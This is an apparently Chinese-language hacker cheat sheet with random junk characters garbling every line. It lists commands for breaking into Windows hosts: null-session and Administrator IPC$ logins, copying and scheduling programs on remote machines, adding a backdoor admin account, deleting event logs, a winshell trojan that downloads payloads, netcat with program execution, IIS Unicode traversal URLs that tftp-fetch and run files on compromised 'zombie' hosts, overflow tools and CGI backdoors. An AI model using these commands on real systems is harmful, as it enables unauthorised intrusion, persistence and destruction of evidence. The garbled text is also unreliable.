网管和黑客都必须知道的命令
f@hM ^% 常用的几条NET命令：
g"|>^90 FP=27 = （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
+'5I8FE- Q~0>GOq* （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
*k8?$(
6@8t>"} （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
O<V 4j , %1jcY0zEQ （查看远程主机时间） net time \\IP地址
>P@V D"U T^`; wD （定时启动某个程序） at \\IP地址 02:18 readme.exe
li\=mH,Wr lqMr@
: t （查看共享） net view \\IP地址
6i+,/v r -3) jUzD （查看netbios工作组列表） nbtstat -A IP地址
o<3$ |`S& $Z;/ Sh （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
pw4^E|X MI r +4L （这两条把自己增加到管理员组）： net user 用户名 密码 /add
M.s'~S7y %c\k LSe net localgroup Administrators 用户名 /add
u<cnz% @ ,G}i:7 （断开连接） net use \\IP地址\ipc$ /delete
4c(Em+ 4 dTK0lgkUE 扫尾：
QM 3 DB z# o'' del C:\winnt\system32\logfiles\*.*
Y2 J-`o$5 vaP` ' del C:\winnt\ssytem32\config\*.evt
X|Y(* $?D7 K y%lu^ del C:\winnt\system32\dtclog\*.*
9-{=m+|b ^s 7!F.O C del C:\winnt\system32\*.log
,I5SAd|dX wz 69Yw7 del C:\winnt\system32\*.txt
OrM1eP"I 3Y2~HuM del C:\winnt\*.txt
<C(o0u& / O HpV%8` del C:\winnt\*.log
:yD>Tn;1 &5R|{',(Y 一、netsvc.exe
'n,V*9 bz#]>RD 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
=iKl<CqI$E cXqYO|3/M netsvc /list \\IP地址
9! u iQ kq5X<'MM9N netsvc schedule \\IP地址 /query
P* `*^r3 W +ER'lX netsvc \\IP地址 schedule /start
jmk Ou5@ /IRXk[ 二、OpenTelnet.exe
KB](W [ C0v - 远程启动主机的Telnet服务，并绑定端口到7878，例如：
7LVG0A2>7 \z0HH Cn'" OpenTelnet \\IP地址 用户名 密码 1 7878
9K`_P] l2z 0Z6geBMc 然后就可以telnet到主机的7878端口，进入DOS方式下：
(V jU ,'h `2@.%s1o= telnet IP地址 7878
X@DW1<wEt 2,q*[Kh1 三、winshell.exe
9ET1Er{4 0(eaVi-%D 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
h5@G eYda gd*Gn" p Path （查看winshell主程序的路径信息）
[#q>Aq$11 W~ET/h b reBoot （重新启动机器）
(n*:LS=0 p8!T)
? | d shutDown （关闭机器）
C{zp8 A(Dh [rT.k5_ s Shell （执行后你就会看到可爱的“C:\>”）
s4"Os gP+ -<6?ISF2 x eXit （退出本次登录会话，此命令并不终止winshell的运行）
v wEbGx |M?vFF]TN CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
b[<RcM{r} ~.%HZzR6& 四、3389登陆器，GUI方式登录远程主机的
<ErX<(0`ig Y"MHs0O5> 五、elsave.exe
l,4O ~x9 ]?T 事件日志清除工具
3J+2 #ML
@;bBc elsave -s \\IP地址 -l "application" -C
U;MXiE3D er UYR" elsave -s \\IP地址 -l "system" -C
|R0f--; :h{uZ,#Gi elsave -s \\IP地址 -l "security" -C
z ~ C8JY: r KrHd 执行后成功清除应用程序日志，系统日志，安全日志
f
5v&4 k9;^|Cm
k 六、hbulot.exe
Jo\P,-\( h<Aq|* 开启win2kserver和winxp的3389服务
ai/|qYf K] (*l"'U5 hbulot [/r]
1g{Pe`G, ;v:( 使用/r表示安装完成后自动重起目标使设置生效。
P"Al*{: J ;KlYiu 七、nc.exe(netcat.exe)
hWT
jN w*ans}P7 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
qcj {rG18 -d\sKc 想要连接到某处: nc [-options] hostname port[s] [ports] ...
CBEf;I g p UXoSnIq: 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
U-I,Q+[C[^ ?Afe } 参数:
3=Y pZ\l} __g
k:a>oQ -e prog 程序重定向，一旦连接，就执行 [危险!!]
-r={P _E6 4#B'pJMw9 -g gateway source-routing hop point[s], up to 8
Y &C b
"B_3<RSL -G num source-routing pointer: 4, 8, 12, ...
z sg\|=P y?<K N0j -h 帮助信息
%y6(+I #P 1 ~zjsi -i secs 延时的间隔
cq4~(PXT g W,<q!<z\t -l 监听模式，用于入站连接
!!y]pMjJa@ 4 o *i(W -n 指定数字的IP地址，不能用hostname
< +QQiFj \VNu35* J| -o file 记录16进制的传输
JLoF!MK} %f;dn<m=c -p port 本地端口号
E~%n- A h1w({<q*ov -r 任意指定本地及远程端口
/;*_[g5*i /4&gA5 BS] -s addr 本地源地址
1!<t8,W4 %F;BL8d -u UDP模式
^+_rv |C [! A -v 详细输出——用两个-v可得到更详细的内容
dHc\M|HCC +OE !Uqnt -w secs timeout的时间
!D#"+&&G8 hmu>s' -z 将输入输出关掉——用于扫描时
7Y5 r3a}% 八、TFTPD32.EXE
{zwH3)|Hn ngo> ^9/8 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
-& 1(~7 nkW})LyB\ http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
vI{aF-
# W [ l 然后可以直接令文件运行：
.XJ'2yKof 7n7Xyb http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
XX8HSw!w 3uLG$`N 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
Q (bOar 5 {R}F4 k 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
iW5cEI%tb q/#e6;x 一、一 Xscan命令行运行参数说明：
]r
Uj<[O YOl$sg g} 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
X1Yw=t~a F]\
Sk' }& 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
t'n@yX_ lPy|>&Yc xscan -file <主机列表文件名> <检测项目> [其他选项]
+N t4R:N w% %q/![uy 其中<检测项目> 含义如下:
>JpBX+]5m im<bo Mv -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
v:t;Uk^Y %{u@{uG0'3 -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
a:BW*Hy{\ )1 s5vNVa -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
)?F &`+ DrJ?bG;[ -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
d:%b K./qu^+k -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
%?ElC \|HEe{nA [其他选项] 含义如下:
*~#I5s\s! ]auvtm- [ -v: 显示详细扫描进度
b] 5weS-< AV5={KK -p: 跳过Ping不通的主机
p=' j/= '` >%RZ] -o: 跳过没有检测到开放端口的主机
6'^_ *n 9@ k8$@ -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
